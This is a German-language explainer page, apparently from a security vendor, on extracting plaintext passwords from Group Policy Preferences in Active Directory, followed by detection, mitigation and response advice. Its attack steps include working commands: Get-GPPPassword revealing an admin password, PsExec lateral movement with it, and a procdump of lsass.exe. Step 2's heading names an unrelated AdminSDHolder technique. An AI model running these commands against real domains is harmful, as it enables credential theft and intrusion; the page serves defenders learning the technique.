Angriff zur Extraktion von Klartext-Passwörtern
Gruppenrichtlinien sind unerlässlich für die Verwaltung einer Active Directory-Umgebung. Insbesondere verwenden Administratoren sie, um Konfigurationen zentral zu verwalten, die auf domänenverbundenen Servern und Arbeitsstationen angewendet werden; diese Gruppenrichtlinien definieren Richtlinien (durchgesetzte Einstellungen) und Präferenzen, welche Standardkonfigurationen verbreiten, die ein Benutzer ändern kann. Leider ermöglichten Gruppenrichtlinien Administratoren, Passwörter in Gruppenrichtlinienpräferenzen einzubetten, die lokale Benutzer erstellten oder Netzlaufwerke verbanden – und diese Passwörter waren mit einem öffentlich verfügbaren Schlüssel verschlüsselt. Daher kann ein Gegner mit der Fähigkeit, diese Richtlinien zu lesen, diese Passwörter leicht extrahieren und entschlüsseln. Im Jahr 2014 veröffentlichte Microsoft ein Sicherheitsupdate, das die Möglichkeit entfernt, neue Präferenzen mit eingebetteten Passwörtern zu erstellen, aber viele Organisationen haben immer noch Gruppenrichtlinienpräferenzen, die eingebettete Passwörter enthalten.
Bedrohungszusammenfassung
Ziel: Active Directory
Tools: PowerSploit, Metasploit
ATT&CK® Taktik: Credential Access
ATT&CK-Technik: T1552.006
Schwierigkeit
Erkennung: Niedrig
Milderung: Niedrig
Antwort: Niedrig
Anleitung zum Angriff: Wie ein Angriff zur Extraktion von Klartext-Passwörtern funktioniert
SCHRITT 1: Entdecken Sie Passwörter in den Gruppenrichtlinieneinstellungen
Gruppenrichtlinieneinstellungen werden als XML-Dateien im SYSVOL-Freigabe auf Domänencontrollern gespeichert. Die SYSVOL-Freigabe ist für authentifizierte Benutzer zugänglich, sodass ein Angreifer, der einen Zugangspunkt innerhalb des Netzwerks erlangt hat, auf deren Inhalte zugreifen kann. Ein Angreifer kann diese XML-Dateien manuell durchsuchen und nach Instanzen des Attributs CPassword suchen, das die verschlüsselten Passwörter enthält. Angrenzende Attribute liefern weitere Details, wie den Benutzernamen. Oder sie können Werkzeuge wie PowerSploit’s Get-GPPPasswords Cmdlet verwenden, um den Prozess des Erwerbens und Entschlüsselns dieser Passwörter zu automatisieren, wie unten gezeigt.
PS> Import-Module PowerSploit
PS> Get-GPPPassword
Changed : {2020-08-17 11:14:01}
UserNames : {Administrator (built-in)}
NewName : [BLANK]
Passwords : {WhatAGreatPassword123!}
File : \\domain.com\SYSVOL\domain.com\Policies\{5AC5C2A3-B893-493E-B03A-D6F9E8BCC8CB}\Machine\Preferences\Groups\Groups.xml
PS>
SCHRITT 2: Die ACL des AdminSDHolders ändern
Jetzt, da der Angreifer den Benutzernamen und das Passwort eines lokalen Administrators hat, kann er die Computer im Active Directory auflisten, auf die die Gruppenrichtlinie angewendet wird, was ihm eine Liste von Computern liefert, bei denen er sich mit diesen Anmeldeinformationen authentifizieren kann. Mit dieser Liste kann der Angreifer seinen Fußabdruck innerhalb der Organisation weiter ausbauen. In diesem Beispiel verbindet sich der Angreifer mit einem anderen Computer und erstellt einen Speicherabbild des LSASS.exe-Prozesses, um weitere laterale Bewegungen oder Privilegienerweiterungen zu ermöglichen.
PS> [XML] $XML = Get-GPO -Guid 5AC5C2A3-B893-493E-B03A-D6F9E8BCC8CB | Get-GPOReport -ReportType Xml
PS> $XML.GPO.LinksTo
SOMName SOMPath Enabled NoOverride
------- ------- ------- ----------
Comp domain.com/Comp true false
PS> $DN = Get-ADOrganizationalUnit -filter { Name -eq $XML.GPO.LinksTo.SOMName } | Select -expand DistinguishedName
PS> Get-ADComputer -filter "*" -SearchBase $DN
DistinguishedName : CN=Server1,OU=Comp,DC=domain,DC=com
DNSHostName :
Enabled : True
Name : Server1
ObjectClass : computer
ObjectGUID : 4eeec15e-ee84-4195-b5c8-ee4d5d67efbf
SamAccountName : SERVER1$
SID : S-1-5-21-5840559-2756745051-1363507867-16924
UserPrincipalName :
PS> .\PSExec.exe -u Administrator -p WhatAGreatPassword123! \\server1 powershell.exe
PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
PS> procdump.exe -accepteula -r -ma lsass.exe lsass.dmp
PS>
Erkennen, Minderung und Reaktion
Erkennen
Schwierigkeitsgrad: Niedrig
Aufgrund des großen Volumens an Lesevorgängen, die bei normalen Operationen auftreten, ist es nicht möglich, den Zugriff eines Angreifers auf diese Dateien direkt zu erkennen. Es ist jedoch möglich, ein Audit für in Gruppenrichtlinienpräferenzen eingebettete Passwörter durchzuführen, indem man dieselben Techniken verwendet, die ein Angreifer nutzen würde. Die Verwendung des Cmdlets Get-GPPPassword gegen jede Domäne wird eingebettete Passwörter auflisten (beachten Sie, dass dies auch das Klartextpasswort offenlegt). Alternativ wird das folgende PowerShell-Snippet eingebettete Passwörter auflisten, ohne sie zu entschlüsseln:
# Replace this path with the path to SYSVOL to check
$SYSVOL_Path = "\\domain.com\sysvol"
Get-ChildItem $SYSVOL_Path -Recurse -File | Select-String -Pattern "cpassword"
# Sample Output using \\domain.com\sysvol
\\domain.com\sysvol\domain.com\Policies\{5AC5C2A3-B893-493E-B03A-D6F9E8BCC8CB}\Machine\Preferences\Groups\Groups.xml:2:<Gro
ups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"
name="Administrator (built-in)" image="2" changed="2020-08-17 11:14:01"
uid="{EA0FCA83-45D2-4189-B476-DB595FB29E2D}"><Properties action="U" newName="" fullName="" description="Built-in Local
Admin" cpassword="Pe81R/eXjjPtd5oJw6D0hifqz78ezVt7tD0ViS9eTg+z2dKIvfwMRbD5JPFEA26i" changeLogon="0" noChange="0"
neverExpires="0" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (built-in)"/></User>
Mildern
Schwierigkeitsgrad: Niedrig
Einfach ausgedrückt, alle eingebetteten Passwörter in den Gruppenrichtlinieneinstellungen sollten entfernt werden. Zusätzlich:
- Stellen Sie sicher, dass alle Domänencontroller mit aktuellen Betriebssystemversionen und den neuesten Patches laufen, da aktuelle Versionen von Windows Server das Einbetten von Passwörtern in Gruppenrichtlinieneinstellungen nicht zulassen.
- Ersetzen Sie die Verwendung von Gruppenrichtlinieneinstellungen, um das Passwort des integrierten lokalen Administrator-Kontos festzulegen, durch eine robuste Lösung wie Microsofts Local Administrator Password Solution (LAPS).
- Setzen Sie Lösungen ein, die eingebettete Passwörter durch authentifizierte dynamische Abfragen ersetzen.
Antworten
Schwierigkeitsgrad: Niedrig
Sollten Sie eingebettete Passwörter in Gruppenrichtlinieneinstellungen entdecken, können die folgenden Maßnahmen ergriffen werden:
- Entfernen Sie das eingebettete Passwort aus der Gruppenrichtlinieneinstellung.
- Setzen Sie das Passwort für das Konto zurück.
Teilen auf
Zugehörige Cybersecurity-Angriffe anzeigen
Missbrauch von Entra ID-Anwendungsberechtigungen – Funktionsweise und Verteidigungsstrategien
AdminSDHolder-Modifikation – Funktionsweise und Verteidigungsstrategien
AS-REP Roasting Attack - Funktionsweise und Verteidigungsstrategien
Hafnium-Angriff - Funktionsweise und Verteidigungsstrategien
DCSync-Angriffe erklärt: Bedrohung für die Active Directory Security
Angriffe auf Group Managed Service Accounts
Golden SAML-Angriff
Verständnis von Golden Ticket-Angriffen
DCShadow-Angriff – Funktionsweise, Beispiele aus der Praxis & Verteidigungsstrategien
ChatGPT Prompt Injection: Risiken, Beispiele und Prävention verstehen
NTDS.dit-Passwortextraktionsangriff
Kerberoasting-Angriff – Funktionsweise und Verteidigungsstrategien
Pass-the-Hash-Angriff
Pass-the-Ticket-Attacke erklärt: Risiken, Beispiele & Verteidigungsstrategien
Password-Spraying-Angriff
Zerologon-Schwachstelle erklärt: Risiken, Exploits und Milderung
Ransomware-Angriffe auf Active Directory
Active Directory mit dem Skeleton Key-Angriff entsperren
Laterale Bewegungen: Was es ist, wie es funktioniert und Präventionsmaßnahmen
Man-in-the-Middle (MITM)-Angriffe: Was sie sind & Wie man sie verhindert
Warum ist PowerShell so beliebt bei Angreifern?
4 Angriffe auf Dienstkonten und wie man sich dagegen schützt
Wie Sie Malware-Angriffe daran hindern, Ihr Geschäft zu beeinträchtigen
Was ist Credential Stuffing?
Kompromittierung von SQL Server mit PowerUpSQL
Was sind Mousejacking-Angriffe und wie kann man sich dagegen verteidigen
Diebstahl von Anmeldeinformationen mit einem Security Support Provider (SSP)
Rainbow-Table-Attacken: Wie sie funktionieren und wie man sich dagegen verteidigt
Ein umfassender Blick auf Passwortangriffe und wie man sie stoppt
LDAP-Aufklärung
Umgehen der MFA mit dem Pass-the-Cookie-Angriff
Silver Ticket Attack